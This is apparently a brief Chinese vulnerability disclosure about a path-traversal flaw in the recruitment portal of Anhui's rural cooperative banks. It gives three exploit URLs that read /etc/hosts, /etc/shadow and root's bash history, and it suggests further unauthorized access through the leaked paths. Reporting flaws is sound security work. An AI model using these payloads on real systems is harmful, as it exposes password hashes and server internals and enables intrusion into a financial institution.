安徽农金即安徽省农村合作金融机构,包括农村商业银行,农村合作银行和农村信用合作联社
其实也就是这些
**.**.**.**:9080/recruit/
**.**.**.**:9080/recruit/biz09/T090101.shtml?fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhosts&action=downLoad
**.**.**.**:9080/recruit/biz09/T090101.shtml?fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow&action=downLoad
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.bash_history
通过对.bash_history的分析,发现内容很丰富
系统内一共有2个站
一个是zhaopin.war;另一个是recs.war
以及其它一些泄漏的路径待探索
通过对泄漏的一些web路径我们还可以尝试越权操作